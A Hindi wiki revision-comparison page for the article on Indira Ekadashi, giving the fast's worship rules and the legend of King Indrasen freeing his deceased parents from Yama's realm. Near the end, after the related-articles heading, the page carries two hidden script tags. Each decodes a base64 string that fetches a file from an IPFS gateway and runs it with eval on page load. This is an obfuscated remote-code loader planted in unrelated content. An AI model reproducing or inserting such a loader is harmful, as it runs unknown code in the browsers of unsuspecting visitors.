"इन्दिरा एकादशी": अवतरणों में अंतर
No edit summary |
शिल्पी गोयल (वार्ता | योगदान) No edit summary |
||
पंक्ति 1: | पंक्ति 1: | ||
भटकते हुए पितरों को गति देने वाली पितृपक्ष की [[एकादशी]] का नाम '''इंदिरा एकादशी''' है। इस एकादशी का व्रत करने वाले के सात पीढ़ियों तक के पितृ तर जाते हैं। इस एकादशी का व्रत करने वाला स्वयं मोक्ष प्राप्त करता है। | |||
भटकते हुए पितरों को गति देने वाली पितृपक्ष की | ==विधि== | ||
इस एकादशी के व्रत और पूजा का विधान वही है जो अन्य एकादशियों का है। अंतर केवल यह है कि इस दिन [[शालिग्राम]] की पूजा की जाती है। इस दिन स्नानादि से पवित्र होकर भगवान शालिग्राम को पंचामृत से स्नान कराकर भोग लगाना चाहिए तथा पूजा कर आरती करनी चाहिए। फिर पंचामृत वितरण कर, [[ब्राह्मण|ब्राह्मणों]] को भोजन कराकर दक्षिणा देनी चाहिए। इस दिन पूजा तथा प्रसाद में [[तुलसी]] की पत्तियों का (तुलसीदल) का प्रयोग अनिवार्य रूप से किया जाता है। | |||
==कथा== | ==कथा== | ||
प्राचीनकाल में महिष्मती नगरी में इंद्रसेन नामक राजा राज्य करते थे। उनके माता-पिता दिवंगत हो चुके थे। | प्राचीनकाल में महिष्मती नगरी में इंद्रसेन नामक राजा राज्य करते थे। उनके माता-पिता दिवंगत हो चुके थे। अकस्मात एक रात उन्हें स्वप्न दिखाई दिया कि उनके माता-पिता यमलोक (नरक) में पड़े हुए अपार कष्ट भोग रहे हैं। निद्राभंग होने पर अपने पितरों की दुर्दशा से राजा बहुत चिंतित हुए। | ||
उन्होंने सोचा किस प्रकार यम यातना से पितरों को मुक्त किया जाए। इस विषय पर परामर्श करने के लिए उन्होंने विद्वान ब्राह्मणों और मंत्रियों को बुलाकर स्वप्न की बात बताई। ब्राह्मणों ने कहा- 'हे राजन! यदि आप सपत्नीक इंदिरा एकादशी का व्रत करें तो आपके पितरों की मुक्ति हो जाएगी। उस दिन आप शालिग्राम की पूजा, तुलसी आदि चढ़ाकर 91 ब्राह्मणों को भोजन कराकर दक्षिणा दें और उनका आशीर्वाद लें। इससे आपके माता-पिता स्वर्ग चले जाएंगे।' | |||
राजा ने उनकी बात मान सपत्नीक विधिपूर्वक इंदिरा एकादशी का व्रत किया। रात्रि में जब वे मंदिर में सो रहे थे, तभी भगवान ने उन्हें दर्शन देकर कहा- 'राजन! तुम्हारे व्रत के प्रभाव से तुम्हारे सभी पितर स्वर्ग पहुँच गए हैं।' इसी दिन से इस व्रत की महत्ता बढ़ गई। | |||
राजा ने उनकी बात मान सपत्नीक विधिपूर्वक इंदिरा एकादशी का व्रत किया। रात्रि में जब वे मंदिर में सो रहे थे, तभी भगवान ने उन्हें दर्शन देकर कहा- 'राजन! तुम्हारे व्रत के प्रभाव से तुम्हारे सभी पितर स्वर्ग | |||
==संबंधित लेख== | ==संबंधित लेख== | ||
{{पर्व और त्योहार}} | {{पर्व और त्योहार}} | ||
{{व्रत और उत्सव}} | {{व्रत और उत्सव}} | ||
[[Category:पर्व_और_त्योहार]][[Category:संस्कृति_कोश]] | [[Category:पर्व_और_त्योहार]] | ||
[[Category:संस्कृति_कोश]] | |||
[[Category:व्रत और उत्सव]] | |||
__INDEX__ | __INDEX__ |
10:49, 26 अप्रैल 2011 का अवतरण
भटकते हुए पितरों को गति देने वाली पितृपक्ष की एकादशी का नाम इंदिरा एकादशी है। इस एकादशी का व्रत करने वाले के सात पीढ़ियों तक के पितृ तर जाते हैं। इस एकादशी का व्रत करने वाला स्वयं मोक्ष प्राप्त करता है।
विधि
इस एकादशी के व्रत और पूजा का विधान वही है जो अन्य एकादशियों का है। अंतर केवल यह है कि इस दिन शालिग्राम की पूजा की जाती है। इस दिन स्नानादि से पवित्र होकर भगवान शालिग्राम को पंचामृत से स्नान कराकर भोग लगाना चाहिए तथा पूजा कर आरती करनी चाहिए। फिर पंचामृत वितरण कर, ब्राह्मणों को भोजन कराकर दक्षिणा देनी चाहिए। इस दिन पूजा तथा प्रसाद में तुलसी की पत्तियों का (तुलसीदल) का प्रयोग अनिवार्य रूप से किया जाता है।
कथा
प्राचीनकाल में महिष्मती नगरी में इंद्रसेन नामक राजा राज्य करते थे। उनके माता-पिता दिवंगत हो चुके थे। अकस्मात एक रात उन्हें स्वप्न दिखाई दिया कि उनके माता-पिता यमलोक (नरक) में पड़े हुए अपार कष्ट भोग रहे हैं। निद्राभंग होने पर अपने पितरों की दुर्दशा से राजा बहुत चिंतित हुए। उन्होंने सोचा किस प्रकार यम यातना से पितरों को मुक्त किया जाए। इस विषय पर परामर्श करने के लिए उन्होंने विद्वान ब्राह्मणों और मंत्रियों को बुलाकर स्वप्न की बात बताई। ब्राह्मणों ने कहा- 'हे राजन! यदि आप सपत्नीक इंदिरा एकादशी का व्रत करें तो आपके पितरों की मुक्ति हो जाएगी। उस दिन आप शालिग्राम की पूजा, तुलसी आदि चढ़ाकर 91 ब्राह्मणों को भोजन कराकर दक्षिणा दें और उनका आशीर्वाद लें। इससे आपके माता-पिता स्वर्ग चले जाएंगे।'
राजा ने उनकी बात मान सपत्नीक विधिपूर्वक इंदिरा एकादशी का व्रत किया। रात्रि में जब वे मंदिर में सो रहे थे, तभी भगवान ने उन्हें दर्शन देकर कहा- 'राजन! तुम्हारे व्रत के प्रभाव से तुम्हारे सभी पितर स्वर्ग पहुँच गए हैं।' इसी दिन से इस व्रत की महत्ता बढ़ गई।
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>